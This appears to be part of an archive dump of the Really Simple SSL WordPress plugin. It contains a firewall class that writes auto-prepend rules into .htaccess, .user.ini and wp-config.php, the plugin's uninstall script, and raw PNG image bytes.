		if ( $this->uses_htaccess_conf() ) {
			$htaccess_file = realpath( dirname( ABSPATH ) . '/conf/htaccess.conf' );
		} else {
			$htaccess_file = $this->get_home_path() . '.htaccess';
		}

		return $htaccess_file;

	}

	/**
	 * Get the home path
	 *
	 * @return string
	 */
	public function get_home_path(): string {
		if ( ! function_exists( 'get_home_path' ) ) {
			include_once ABSPATH . 'wp-admin/includes/file.php';
		}
		if ( RSSSL_IS_FLYWHEEL && isset( $_SERVER['DOCUMENT_ROOT'] ) ) {
			return trailingslashit( $this->sanitize_path( wp_unslash( $_SERVER['DOCUMENT_ROOT'] ) ) );
		}
		return get_home_path();
	}

	/**
	 * Sanitize a path
	 *
	 * @param string $path //string to sanitize.
	 *
	 * @return string
	 */
	private function sanitize_path( $path ): string {
		// prevent path traversal.
		return str_replace( '../', '/', realpath( sanitize_text_field( $path ) ) );
	}

	/**
	 * Check if this server uses .htaccess. Not by checking the server header, but simply by checking
	 * if the htaccess file exists.
	 *
	 * @return bool
	 */
	private function uses_htaccess(): bool {
		return $this->file_exists( $this->htaccess_path() );
	}

	/**
	 * Include the prepend file in the .htaccess
	 *
	 * @return void
	 */
	public function include_prepend_file_in_htaccess(): void {
		if ( ! $this->file_exists( $this->file ) ) {
			return;
		}

		// check if the wp-config contains the if constant condition, to prevent duplicate loading. If not, try upgrading. If that fails, skip.
		if ( ! $this->wp_config_contains_latest() ) {
			return;
		}

		$rules           = $this->get_htaccess_rules();
		$start           = '#Begin Really Simple Auto Prepend File' . "\n";
		$end             = "\n" . '#End Really Simple Auto Prepend File' . "\n";
		$pattern_content = '/' . $start . '(.*?)' . $end . '/is';
		$htaccess_file   = $this->htaccess_path();
		if ( $this->file_exists( $htaccess_file ) ) {
			$content = $this->get_contents( $htaccess_file );
			// remove first, to ensure we are at the top of the file.
			$content = preg_replace( $pattern_content, '', $content );
			if ( ! empty( $rules ) ) {
				if ( ! $this->is_writable( $htaccess_file ) ) {
					update_site_option( 'rsssl_htaccess_error', 'not-writable' );
					update_site_option( 'rsssl_htaccess_rules', $rules . get_site_option( 'rsssl_htaccess_rules' ) );
				} else {
					delete_site_option( 'rsssl_htaccess_error' );
					delete_site_option( 'rsssl_htaccess_rules' );
					// add rules as new block.
					$content = $start . $rules . $end . $content;

					// clean up.
					if ( strpos( $content, "\n\n\n" ) !== false ) {
						$content = str_replace( "\n\n\n", "\n\n", $content );
					}
				}
			}

			//by putting this outside the empty($rules) condition, the rules get removed if disabled or not available
			if ( $this->is_writable( $htaccess_file ) ) {
				$this->put_contents( $htaccess_file, $content );
			}
		}
	}

	/**
	 * Get the .htaccess rules for the prepend file
	 * Add user.ini blocking rules if user.ini filename exist.
	 *
	 * @return string //the string containing the lines of rules
	 */
	private function get_htaccess_rules() : string {
		if ( defined('RSSSL_HTACCESS_SKIP_AUTO_PREPEND') && RSSSL_HTACCESS_SKIP_AUTO_PREPEND ) {
			return '';
		}
        if (isset(RSSSL()->server) ) {
            $config = RSSSL()->server->auto_prepend_config();
        } else {
            $config = get_option('rsssl_auto_prepend_config');
            if (empty($config)) {
                return '';
            }
        }
		$file = addcslashes($this->file, "'");
		switch ($config) {
			case 'litespeed':
				$rules = array(
					'<IfModule LiteSpeed>',
					'php_value auto_prepend_file ' . $file ,
					'</IfModule>',
					'<IfModule lsapi_module>',
					'php_value auto_prepend_file ' . $file,
					'</IfModule>',
				);
				break;
			case 'apache-mod_php':
			default:
				$rules = array(
					'<IfModule mod_php7.c>',
					'php_value auto_prepend_file ' . $file ,
					'</IfModule>',
					'<IfModule mod_php.c>',
					'php_value auto_prepend_file ' . $file,
					'</IfModule>',
				);
		}

		$userIni = ini_get('user_ini.filename');
		if ($userIni) {
			$rules = array_merge(
				$rules,
				array(
					sprintf('<Files "%s">', addcslashes($userIni, '"')),
					'<IfModule mod_authz_core.c>' ,
					'Require all denied',
					'</IfModule>',
					'<IfModule !mod_authz_core.c>',
					'Order deny,allow',
					'Deny from all',
					'</IfModule>',
					'</Files>',
				));
		}

		return implode( "\n", $rules );
	}

	/**
	 * Include the file in the wp-config
	 *
	 * @return void
	 */
	private function include_prepend_file_in_wp_config(): void {
		if ( ! rsssl_user_can_manage() ) {
			return;
		}
		$file    = $this->wpconfig_path();
		$content = $this->get_contents( $file );
		if ( $this->is_writable( $file ) && strpos( $content, 'advanced-headers.php' ) === false ) {
			$rule = $this->get_wp_config_rule();

			// if RSSSL comment is found, insert after.
			$rsssl_comment = '//END Really Simple Security Server variable fix';
			if ( strpos( $content, $rsssl_comment ) !== false ) {
				$pos     = strrpos( $content, $rsssl_comment );
				$updated = substr_replace( $content, $rsssl_comment . "\n" . $rule . "\n", $pos, strlen( $rsssl_comment ) );
			} else {
				$updated = preg_replace( '/<\?php/', "<?php\n" . $rule . "\n", $content, 1 );
			}

			if ( strpos( $updated, "\n\n\n" ) !== false ) {
				$updated = str_replace( "\n\n\n", "\n\n", $updated );
			}

			$this->put_contents( $file, $updated );
		}

		// save errors.
		if ( $this->is_writable( WP_CONTENT_DIR ) && ( $this->is_writable( $file ) || strpos( $content, 'advanced-headers.php' ) !== false ) ) {
			update_option( 'rsssl_firewall_error', false, false );
		} elseif ( ! $this->is_writable( $file ) ) {
			update_option( 'rsssl_firewall_error', 'wpconfig-notwritable', false );
		} elseif ( ! $this->is_writable( WP_CONTENT_DIR ) ) {
			update_option( 'rsssl_firewall_error', 'advanced-headers-notwritable', false );
		}
	}

	/**
	 * Clear the rules
	 *
	 * @return void
	 */
	public function remove_prepend_file_in_htaccess(): void {
		if ( ! rsssl_user_can_manage() ) {
			return;
		}
		$start         = '#Begin Really Simple Auto Prepend File' . "\n";
		$end           = "\n" . '#End Really Simple Auto Prepend File' . "\n";
		$pattern       = '/' . $start . '(.*?)' . $end . '/is';
		$htaccess_file = $this->htaccess_path();
		if ( $this->file_exists( $htaccess_file ) ) {
			$content = $this->get_contents( $htaccess_file );
			// remove first, to ensure we are at the top of the file.
			$content = preg_replace( $pattern, '', $content );
			$this->put_contents( $htaccess_file, $content );
		}
	}

	/**
	 * Remove the prepend file from the config
	 *
	 * @return void
	 */
	private function remove_prepend_file_in_wp_config(): void {
		if ( ! rsssl_user_can_manage() ) {
			return;
		}

		$file = $this->wpconfig_path();
		if ( $this->is_writable( $file ) ) {
			$content = $this->get_contents( $file );
			$rule    = $this->get_wp_config_rule();
			if ( strpos( $content, $rule ) !== false ) {
				$content = str_replace( $rule, '', $content );
				if ( strpos( $content, "\n\n\n" ) !== false ) {
					$content = str_replace( "\n\n\n", "\n\n", $content );
				}
				$this->put_contents( $file, $content );
			}
		}
	}

	/**
	 * Wrapper function
	 *
	 * @param string $file // filename, including path.
	 *
	 * @return bool
	 */
	private function is_writable( $file ): bool {
		// $wp_filesystem = $this->init_file_system();
		// return $wp_filesystem->is_writable($file);
		return is_writable( $file );//phpcs:ignore
	}

	/**
	 * This class has it's own settings page, to ensure it can always be called
	 *
	 * @return bool
	 */
	public function is_settings_page() {
		if ( rsssl_is_logged_in_rest() ) {
			return true;
		}

		if ( isset( $_GET['page'] ) && 'really-simple-security' === $_GET['page'] ) {//phpcs:ignore
			return true;
		}

		return false;
	}

	/**
	 * Generate and return a random nonce
	 *
	 * @return int
	 */
	public function get_headers_nonce() {
		if ( ! get_site_option( 'rsssl_header_detection_nonce' ) ) {
			update_site_option( 'rsssl_header_detection_nonce', wp_rand( 1000, 999999999 ) );
		}
		return (int) get_site_option( 'rsssl_header_detection_nonce' );
	}

	/**
	 * Check if any rules were added
	 *
	 * @return bool
	 */
	public function has_rules() {

		if ( empty( $this->rules ) ) {
			$this->rules = apply_filters( 'rsssl_firewall_rules', '' );
		}
		return ! empty( trim( $this->rules ) );
	}

	/**
	 * Get the status for the firewall rules writing
	 *
	 * @return false|string
	 */
	public function firewall_write_error() {
		return get_site_option( 'rsssl_firewall_error' );
	}



	/**
	 * Get the status for the firewall
	 *
	 * @return bool
	 */
	public function firewall_active_error() {
		if ( ! $this->has_rules() ) {
			return false;
		}
		return ! defined( 'RSSSL_HEADERS_ACTIVE' );
	}

	/**
	 * Show some notices
	 *
	 * @param array $notices //array of notices.
	 *
	 * @return array
	 */
	public function notices( $notices ) {
		$notices['firewall-error']  = array(
			'callback'          => 'RSSSL_SECURITY()->firewall_manager->firewall_write_error',
			'score'             => 5,
			'output'            => array(
				'wpconfig-notwritable'         => array(
					'title'       => __( 'Firewall', 'really-simple-ssl' ),
					'msg'         => __( 'A firewall rule was enabled, but the wp-config.php is not writable.', 'really-simple-ssl' ) . ' ' . __( 'Please set the wp-config.php to writable until the rule has been written.', 'really-simple-ssl' ),
					'icon'        => 'open',
					'dismissible' => true,
				),
				'advanced-headers-notwritable' => array(
					'title'       => __( 'Firewall', 'really-simple-ssl' ),
					'msg'         => __( 'A firewall rule was enabled, but /the wp-content/ folder is not writable.', 'really-simple-ssl' ) . ' ' . __( 'Please set the wp-content folder to writable:', 'really-simple-ssl' ),
					'icon'        => 'open',
					'dismissible' => true,
				),
			),
			'show_with_options' => array(
				'disable_http_methods',
			),
		);
		$notices['firewall-active'] = array(
			'condition'         => array( 'RSSSL_SECURITY()->firewall_manager->firewall_active_error' ),
			'callback'          => '_true_',
			'score'             => 5,
			'output'            => array(
				'true' => array(
					'title'       => __( 'Firewall', 'really-simple-ssl' ),
					'msg'         => __( 'A firewall rule was enabled, but the firewall does not seem to get loaded correctly.', 'really-simple-ssl' ) . ' ' . __( 'Please check if the advanced-headers.php file is included in the wp-config.php, and exists in the wp-content folder.', 'really-simple-ssl' ),
					'icon'        => 'open',
					'dismissible' => true,
				),
			),
			'show_with_options' => array(
				'disable_http_methods',
			),
		);
		return $notices;
	}

	/**
	 * // As WP_CONTENT_DIR is not defined at this point in the wp-config, we can't use that.
	 * // for those setups where the WP_CONTENT_DIR is not in the default location, we hardcode the path.
	 *
	 * @return string
	 */
	public function get_wp_config_rule() {
		if ( $this->use_dynamic_path ) {
			$rule  = 'if (!defined("RSSSL_HEADERS_ACTIVE") && file_exists( ABSPATH . "wp-content/advanced-headers.php")) {' . "\n";
			$rule .= "\t" . 'require_once ABSPATH . "wp-content/advanced-headers.php";' . "\n" . '}';
		} else {
			$rule  = 'if (!defined("RSSSL_HEADERS_ACTIVE") && file_exists(\'' . WP_CONTENT_DIR . '/advanced-headers.php\')) {' . "\n";
			$rule .= "\t" . 'require_once \'' . WP_CONTENT_DIR . '/advanced-headers.php\';' . "\n" . '}';
		}
		return $rule;
	}

	/**
	 * Check if the wp-config contains the if constant condition, to prevent duplicate loading. If not, try upgrading. If that fails, skip.
	 * Wrapper function added for clearer purpose in code
	 *
	 * @return bool
	 */
	private function wp_config_contains_latest(): bool {
		return $this->update_wp_config_rule();
	}

	/**
	 * Called in upgrade.php, to upgrade older rules to the latest.
	 * Returns true if the wpconfig contains the upgraded lines
	 *
	 * @return bool
	 */
	public function update_wp_config_rule(): bool {
		$file = $this->wpconfig_path();
		if ( ! $file ) {
			return false;
		}

		$content = $this->get_contents( $file );
		$find    = '(file_exists( ABSPATH . "wp-content/advanced-headers.php"))';
		if ( false !== strpos( $content, $find ) ) {
			if ( ! $this->is_writable( $file ) ) {
				return false;
			}
			$replace = '(!defined("RSSSL_HEADERS_ACTIVE") && file_exists( ABSPATH . "wp-content/advanced-headers.php"))';
			$content = str_replace( $find, $replace, $content );
			$this->put_contents( $file, $content );
		}
		return true;
	}

	/**
	 * Admin is not always loaded here, so we define our own function
	 *
	 * @return string|null
	 */
	public function wpconfig_path() {

		// Allow the wp-config.php path to be overridden via a filter.
		$filtered_path = apply_filters( 'rsssl_wpconfig_path', '' );

		// If a filtered path is provided, validate it.
		if ( ! empty( $filtered_path ) ) {
			$directory = dirname( $filtered_path );

			// Ensure the directory exists before checking for the file.
			if ( is_dir( $directory ) && file_exists( $filtered_path ) ) {
				return $filtered_path;
			}
		}

		// Limit number of iterations to 5.
		$i             = 0;
		$maxiterations = 5;
		$dir           = ABSPATH;
		do {
			++ $i;
			if ( $this->file_exists( $dir . 'wp-config.php' ) ) {
				return $dir . 'wp-config.php';
			}
		} while ( ( $dir = realpath( "$dir/.." ) ) && ( $i < $maxiterations ) );//phpcs:ignore

		return '';
	}

	/**
	 * Clear the headers
	 *
	 * @return void
	 */
	public function remove_advanced_headers() {
		$this->uninstall();
	}

	/**
	 * Return .htaccess redirect when using WP Rocket
	 * @return string
	 */
	public function add_htaccess_rules_before_wp_rocket($rules) {
		if ( !file_exists( $this->file ) ) {
			return $rules;
		}

		$rules = $this->get_htaccess_rules()."\n".$rules;
		if ( ! empty( $rules ) ) {
			$start           = '#Begin Really Simple Auto Prepend File' . "\n";
			$end             = "\n" . '#End Really Simple Auto Prepend File' . "\n";
			$rules = $start . $rules . $end;
		}
		return $rules;
	}

	/**
	 * Check if a user.ini file exists or is in user.
	 *
	 * @return bool
	 */
	private function has_user_ini_file():bool {
		$userIni = ini_get('user_ini.filename');
		if ( $userIni ) {
			return true;
		}
		return false;
	}

	/**
	 * Add auto prepend file to user.ini
	 *
	 * @return void
	 */
	private function include_prepend_file_in_user_ini():void{
		if ( ! rsssl_user_can_manage() ) {
			return;
		}

		if ( defined('RSSSL_HTACCESS_SKIP_AUTO_PREPEND') && RSSSL_HTACCESS_SKIP_AUTO_PREPEND ) {
			return;
		}

		$config = RSSSL()->server->auto_prepend_config();
		if ( !$this->has_user_ini_file() ) {
			return;
		}
		$autoPrependIni = '';
		$userIniPath = $this->get_user_ini_path();
		// .user.ini configuration
		switch ($config) {
			case 'cgi':
			case 'nginx':
			case 'apache-suphp':
			case 'litespeed':
			case 'iis':
				$autoPrependIni = sprintf("; BEGIN Really Simple Auto Prepend File
auto_prepend_file = '%s'
; END Really Simple Auto Prepend File", addcslashes($this->file, "'"));
				break;
		}

		if ( !empty($autoPrependIni) ) {
			// Modify .user.ini
			$userIniContent = $this->get_contents($userIniPath);
			if ( $userIniContent ) {
				$userIniContent = str_replace('auto_prepend_file', ';auto_prepend_file', $userIniContent);
				$regex = '/; BEGIN Really Simple Auto Prepend File.*?; END Really Simple Auto Prepend File/is';
				if (preg_match($regex, $userIniContent, $matches)) {
					$userIniContent = preg_replace($regex, $autoPrependIni, $userIniContent);
				} else {
					$userIniContent .= "\n" . $autoPrependIni;
				}
			} else {
				$userIniContent = $autoPrependIni;
			}

			$this->put_contents($userIniPath, $userIniContent);
		}
	}

	/**
	 * Get the user.ini path
	 *
	 * @return false|string
	 */
	public function get_user_ini_path() {
		$userIni = ini_get('user_ini.filename');
		if ($userIni) {
			return $this->get_home_path() . $userIni;
		}
		return false;
	}

	/**
	 * Remove the added auto prepend file
	 *
	 * @return void
	 */
	private function remove_auto_prepend_file_in_user_ini() {
		if ( ! rsssl_user_can_manage() ) {
			return;
		}

		if ( ! $this->has_user_ini_file() ) {
			return;
		}

		$userIniPath = $this->get_user_ini_path();
		$userIniContent = $this->get_contents( $userIniPath );
		$userIniContent = preg_replace( '/; BEGIN Really Simple Auto Prepend File.*?; END Really Simple Auto Prepend File/is', '', $userIniContent );
		$userIniContent = str_replace( 'auto_prepend_file', ';auto_prepend_file', $userIniContent );
		$this->put_contents( $userIniPath, $userIniContent );
	}

}really-simple-ssl/uninstall.php000064400000013566147510273070012665 0ustar00<?php
// If uninstall is not called from WordPress, exit
if ( ! defined( 'WP_UNINSTALL_PLUGIN' ) ) {
	exit();
}

if ( defined('RSSSL_UPGRADING_TO_PRO') ) {
	exit();
}

$rsssl_settings = get_option( 'rsssl_options' );
if ( isset( $rsssl_settings['delete_data_on_uninstall'] ) && $rsssl_settings['delete_data_on_uninstall'] ) {
	$rsssl_options = [
		"rsssl_enable_csp_defaults",
		"rsssl_elementor_upgraded",
		"rsssl_redirect_to_http_check",
		"rsssl_pro_permissions_policy_headers_for_php",
		"rsssl_license_attempts",
		"rsssl_csp_report_url",
		"rsssl_iteration",
		"rsssl_scan",
		"rsssl_progress",
		"rsssl_current_action",
		"rsssl_scan_type",
		"rsssl_scan_active",
		"rsssl_xmlrpc_db_version",
		"rsssl_first_version",
		"rsssl-pro-current-version",
		"rsssl_xmlrpc_learning_mode_activation_time",
		"rsssl_pro_defaults_set",
		"rsssl_after_default_setup_completed",
		"rsssl_ms_elementor_private_replace_progress",
		"rsssl_ms_elementor_urls_upgraded",
		"rsssl_ms_elementor_public_replace_progress",
		"rsssl_csp_report_only_activation_time",
		"rsssl_csp_report_token",
		"rsssl_key",
		"rsssl_transients",
		"rsssl_pro_license_activation_limit",
		"rsssl_ssl_verify",
		"rsssl_pro_license_activations_left",
		"rsssl_pro_license_expires",
		"rsssl_csp_db_version",
		"rsssl_debug_log_folder_suffix",
		"rsssl_xmlrpc_learning_mode_activation_time",
		"rsssl_port_check_2082",
		"rsssl_port_check_8443",
		"rsssl_port_check_2222",
		"rsssl_csp_db_upgraded",
		"rsssl_scan_completed_no_errors",
		"rsssl_last_scan_time",
		"rsssl_test_wp_login_available",
		"rsssl_country_db_version",
		"rsssl_country_import_version",
		"rsssl_geo_ip_database_file",
		"rsssl_login_attempts_db_version",
		'rsssl_notification_email',
		'rsssl_remaining_tasks',
		'rsssl_activation_timestamp',
		'rsssl_activation_timestamp',
		'rsssl_flush_caches',
		'rsssl_skip_dns_check',
		'rsssl_skip_challenge_directory_request',
		'rsssl_hosting_dashboard',
		'rsssl_options',
		'rsssl_le_dns_tokens',
		'rsssl_le_dns_records_verified',
		'rsssl_private_key_path',
		'rsssl_certificate_path',
		'rsssl_intermediate_path',
		'rsssl_le_certificate_generated_by_rsssl',
		'rsssl_ssl_dirname',
		'rsssl_create_folders_in_root',
		'rsssl_htaccess_file_set_',
		'rsssl_initial_alias_domain_value_set',
		'rsssl_le_start_renewal',
		'rsssl_le_start_installation',
		'rsssl_le_installation_progress',
		'rsssl_activation_time',
		'rsssl_le_certificate_installed_by_rsssl',
		'rsssl_installation_error',
		'rsssl_le_dns_configured_by_rsssl',
		'rsssl_onboarding_dismissed',
		'rsssl_ssl_detection_overridden',
		'rsssl_http_methods_allowed',
		'rsssl_show_onboarding',
		'rsssl_deactivate_list',
		'rsssl_firewall_error',
		'rsssl_completed_fixes',
		'rsssl_rest_api_optimizer_not_writable',
		'rsssl_ssl_labs_data',
		'rsssl_current_version',
		'rsssl_network_activation_status',
		'rsssl_run',
		'rsssl_wp_version_detected',
		'rsssl_admin_notices',
		'rsssl_plusone_count',
		'rsssl_siteprocessing_progress',
		'rsssl_ssl_activation_active',
		'rsssl_network_activation_status',
		'rsssl_siteprocessing_progress',
		'rsssl_header_detection_nonce',
		'rsssl_htaccess_error',
		'rsssl_htaccess_rules',
		'rsssl_options',
        'rsssl_404_cache'.
        'rsssl_404_notice_shown',
		'rsssl_key',
		'rsssl_change_detection_next_index',
		'rsssl_change_detection_completed',
		'rsssl_change_detection_mail_recently_sent',
		'rsssl_files_with_wrong_permissions',
		'rsssl_permissions_mail_recently_sent',
		'rsssl_permission_check_next_index',
		'rsssl_permission_check_completed',
		'rsssl_pro_password_change_required_users_checked',
	];
	foreach ( $rsssl_options as $rsssl_option_name ) {
		delete_option( $rsssl_option_name );
		delete_site_option( $rsssl_option_name );
	}
	$rsssl_transients = [
		'rsssl_tls_version',
		'rsssl_redirects_to_homepage',
		'rsssl_cert_expiration_date',
		'rsssl_sent_cert_expiration_warning',
		'rsssl_scan_post_count',
		'rsssl_scan',
		'rsssl_pro_redirect_to_settings_page',
		'rsssl_stop_certificate_expiration_check',
		'rsssl_pro_license_status',
		'rsssl_xmlrpc_allowed',
		'rsssl_http_methods_allowed',
		'rsssl_code_execution_allowed_status',
		'rsssl_directory_indexing_status',
		'rsssl_htaccess_test_success',
		'rsssl_can_use_curl_headers_check',
		'rsssl_curl_error',
		'rsssl_mixed_content_fixer_detected',
		'rsssl_admin_notices',
		'rsssl_plusone_count',
		'rsssl_testpage',
		'rsssl_plugin_download_active',
		'rsssl_le_generate_attempt_count',
		'rsssl_alias_domain_available',
		'rsssl_le_install_attempt_count',
		'rsssl_cw_t',
		'rsssl_cw_server_id',
		'rsssl_redirect_to_settings_page',
		'rsssl_certinfo',
	];
	foreach ( $rsssl_transients as $rsssl_transient ) {
		delete_transient( $rsssl_transient );
		delete_site_transient( $rsssl_transient );
	}

	require_once(ABSPATH . 'wp-admin/includes/file.php');
	WP_Filesystem();

	function rsssl_delete_directory_wpfilesystem($dir) {
		global $wp_filesystem;
		if ($wp_filesystem->is_dir($dir)) {
			$objects = $wp_filesystem->dirlist($dir);
			foreach ($objects as $object => $objectdata) {
				if ($wp_filesystem->is_dir($dir . "/" . $object)) {
					rsssl_delete_directory_wpfilesystem($dir . "/" . $object);
				}
				else {
					$wp_filesystem->delete($dir . "/" . $object);
				}
			}
			$wp_filesystem->rmdir($dir);
		}
	}

	$upload_dir = wp_upload_dir();
	$really_simple_ssl_dir = $upload_dir['basedir'] . '/really-simple-ssl';
	rsssl_delete_directory_wpfilesystem($really_simple_ssl_dir);

	global $wpdb;
	$table_names = array(
		$wpdb->base_prefix . 'rsssl_csp_log',
		$wpdb->base_prefix . 'rsssl_xmlrpc',
		$wpdb->base_prefix . 'rsssl_country',
		$wpdb->base_prefix . 'rsssl_login_attempts',
//		$wpdb->base_prefix . 'rsssl_file_change_detection_directory_indexes',
		$wpdb->base_prefix . 'rsssl_file_hashes',
		$wpdb->base_prefix . 'rsssl_geo_block',
        $wpdb->base_prefix . 'rsssl_event_logs',
	);

	foreach($table_names as $table_name){
		$sql = "DROP TABLE IF EXISTS $table_name";
		$wpdb->query($sql);
	}
}
really-simple-ssl/upgrade/index.php000064400000000040147510273070013371 0ustar00<?php // You don't belong here.
really-simple-ssl/upgrade/img/complianz-gdpr.png000064400000010744147510273070015775 0ustar00�PNG


IHDR�?1hIDATx�흱kI�?����h`A7��E�7Rd˰��%����E�Íd�IN+9�&�,��c�<X��`N^�^P��ꞞV�����Á���T���ޫ�+��H��o���D44

@DC��D44

@DC��D44

@DC��D44

@DC��D44

@DC��D44

@DC��D44

@DC��D44

@DC��D44

@DC��D44

@DC��D44

@DC��D44

@DC��D44

@DC��D44

@DC��
�h7�i����t[S��Ǔ�F8�7r}��� �
l���:�9ok7����a�����\\����8��£����(�1����1N�\�>�M��{#�F�0Fo4��N��ٚ|aqz������2Ceq;k�\����g���&�`ci*(�c��C׿dh�t[��˩�w����;��$�$�����U�iPql��z���3<�a�����!n�ĭ�S�BV��'�d�{c*��`��a�U�YBo��o\���a���<9v}O�a@
��O�p�U� uqK��B�����n��A�Y0���~+X7�pK�.�ܿ	
P2�?w:,����dT�����<⇡)u���D�eO��F�:�ٱl,�/�t>N��L�/.�T�OƜ@��{+S���3<|����7�^��-�1�����\�ƶ�{ ��C��g��?�����os���`����l�|rK��	�+��+p%��ԓ��p�U���v�:�����	��a��/�ff�kH>��z��ra�����;k	5Տ{�G�����Fn��<�U6 }���I���ް�ph���Պbկ��X9����s�V��6��qϞ��z}��W^����C��ﶰ{#��-e�?=����f���@5�@��r��Z��<�LU�j�@h3�<=�>ʘl.��~3|���
����=����jjzG�+�菣��c}�,.�TT
<�_�PT�Ŷ�p�E���;�u����LX,��.�
�h��)O�[G3�{���_���a��^c@.C��O�hМ�͉����͘ޝߤK�h�Pq�~}5��;�m��}r@r�\����mJ���uʬ�����կҺ���,�,�)pId`T�~}�N��C(�	��>+�(��h�`p�������?�r�
��s�'^J'z�\��l,��
~���j�<�]D��nv�D�����N3*{>�-�WGl�W-tj̇��4��x�~]�$l�h�s����h�����9�ĭP�� �(趢��ai<
�)��z�?~��N�?��=��&̲P��>R��7W�Q�������ۜ�98��'u>�a|�S�n$�
��H*��/:M7Un�Cl��H^�Q��7����hL��A�2��B����YoȮ~m���16W������?ƭ�趰w�0F����"�����;׏sѰsh����?q��G�ԐWG'qŪ��jBq�En��ö��h/�}�ΔgŪ_Kvqa�a��ӌ��\I�	�\����sV��~�^�X��1=1Z�����=�3��n�F�����%?��U?�=��(0���dk⛭���TR]]h�H�3Y�ĥ��2ٮ��W������C��W��ߝx.j���iDO�>��J���T=��6��O��(94����/��C��v4����h�\W��4��0���хqϨ$�'���`c	�7l�p0�� ��A�99�кN���ꑠ�N30W�b�Zu��e�͕��#.w�婽�;M|�%�
q륛?r� ~N��	��Q�
�t�2��G�o^��^���8N��ϩ���Ȑ��1����>nn@�HS�?�nYp�X�~8��W�c�vc*�9=�tf9ȶ�߷b�t�%¬VO�õ����3Ez#q0��l��GR_�������,A���-<�\�,��x2z�u�gQ��s����*6�����N�M��m�L&✞a�1a�q���e|��ٯ�F�0�R�K�0.eڎ�!P�9�64ey�뫜@od��-t[�����w_b���:PM^j,D����<H����	5��ssQ�2k�*X6eA��E�0�ᛙ2.�u�y������<�~���_]������j3��xf����J
`n��W����n�
<@�J��`�<��jȫQ��IO�B�iU��URȘ�����nD��c\��fU)}�
�Y�Cx����B�
c[`kmh�1)5V0�4�TY���
�5UO�1۾�X������Ŏ��6��o,��m��y��;��Y�Ґ�$P�5��H�??Ģ�{FV�2�������z��F��S�P��W��R��QQ`6�c��L�3ugm�9�+ZNϰݛR��4���~`jL_���?�j�Fv˙c�%6���ǽ�����R=P��<9�LdU�~��AM���H?��-w�X`�C��x��^��r%�B��__g����h7�)�~T_��Xc���,�큛��՟N���󹤩��@7g��:P��H;N�ݘ�+k����VJCHS?��	��Mq�Wooc���N����_'� ���;J(J����K������59ߧ)P�V�ݙ�qbՏ��� �b��g�=�%��������=/t�l��t����Q;k3?N��Q�ޝ��ϱ�]�n�ϊ;1���T����s�zg���횅p���(qت�S�.�H��ܕ�(/כ���Ge��ר��q�N/.L4�q�s�:���:�Y\����mV��G�,���E-���]Q����_y�^,f��E��p~�/�"Ս���I�g�mi��R�����uTTg����ƒ-)�
:~D�Ֆ~z��r��C�:��\ėn�i�v#a�:,P�Q�ֈ_|6Qd����������mMƔ�fŽ����o�c�s�>�֧X�߾���7?��*�^��`�q�=Ï��|��O�N>�݈:(� Z����l,��v'z��9���Z�ea��	�0o��J
�G���A�_
<�A��+����@\p� B�@��7����WΓ�_|��[z�桌�;��=�A9��h�sgm��9�~��s��Oܜ�6�Rdl�D5�E��b��8>
j�������I9D��<aiX�P���lE��I�=z��$� b��_��w��3���,��������?��	bL��P�nqR|���B���o��9�ś�>+8�B��)e��\�@3���d!�XH���܇@���B�Nϊّ��X��l��ա!��!���Hs�Xh�^����PsdYv���+�#�"Ћq�����妦���R�(��|���x��J�P>����x1��2&�q͜Il�8��B����d�R>��cB��B����ů1�I��@yu���̒u�s)����q`R�x��
���M3�p�,��q��T�nT�,�Ō��K��HSq,����P��BTy`��_*a�=�m%��P�ķ��lP�e���;kx���_���Wտ�u����tB2y@��%k%L���D��M`��}K/�'�9�RR����:GVv��`j�?�_*A������u���&T���.K�W@�@�<�nP��b.�X?`B�WF�=���@�I����Lu2T�������rH}��<�9����~O��,P��̍��~�ԭP��P��PO�W�}5�jk����%������O��Ojn����[�9��PL�{� ���~l���P��Q�H�#���p�챐^K��C��� ��xz�|�,X\�=c A����HS�������@Q���T@H���{Ņ��������~���=�"K?`ڣ?�����-D���@1����w�I���@�2�9�
���_t}��Tknm�̂��V?�e}zf5�P���`
�P���x��_�ؘ�@�Ĩ:.����:�C��;�l�oz���a�}s�w4��.�_'h��P�����_h����:Ade��C<9��kg��h���D44

@DC��D44

@DC��D44

@DC��D44

@DC��D44

@DC��D44

@DC��D44

@DC��D44

@DC��D44

@DC��D44

@DC��D44

@DC�����tEXtSoftwareAdobe ImageReadyq�e<tEXtEXIF:Orientation1�X��IEND�B`�really-simple-ssl/upgrade/img/burst.png000064400000012212147510273070014176 0ustar00�PNG


IHDR�?1IDATx���i|SU��=m���BK(
TDE�" ���#� d�qF�a��QYExd�A
T�Rd�� -�@��[�f^��ܛ��M��}��{�Iz�]�9�x�/@���
�'HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC�4HC���
@LHtRD�D$�wC�����$�L�A���jx��������L�/�nY������v/]�R��o�=���삃o}�������rM�㵾�n3����O��0��6�l���:p!)"q˜�*��ڲ�+����:D��c���X�n�*�D�<%2�|yAI�5�6\Z��?�Ť:,	R��������u.�� #��&8�iѰ���n� �H��iѰ���n�k��*H�V��w� I�H(rZ���w�\��� 
� 
� 
� -Pz��$
�Է_b���.	a��ʰ`i�\"7ZL-fÍ��RmYAE���ϖ�[�o�e3Z�W6�[���4�wh��(�H�n=
uڼ�*���^}B�0(^�@tp���Ur尴!�����v���)nv7[��U��ڸ��w|���6:}D�Ļ�#�4�!bQ�*���������.ݻ�ruI[��]��
:���e�;-�_xp�/1�'�ה�'=�3S&��S���>�gS�+5%4��b����X�r�BE�*ab�[�ιQs��k
�H�^�.�J�H�1t긌1܃%>�Y�ត9V�H��C/�K��]o�O[;;�����`� Z��#�<�s�[[�)B'|bҀ�����u��ڼ:����0��J��xM؀H���7�8���37v�)ST�`�?�T,}~Ĝ�<����v��>�������E"��s����9�L��w�}�?6�Ϳ-	�k�.Q)۞�����@ �g���e
���_�����|�;���Y�f�5^j`+���l��a��,>G�Mc�<�z�D$Y:i�!S��))"1�SO�"���94X�e%r�앱�?��È
66���buZdn0��/������e��
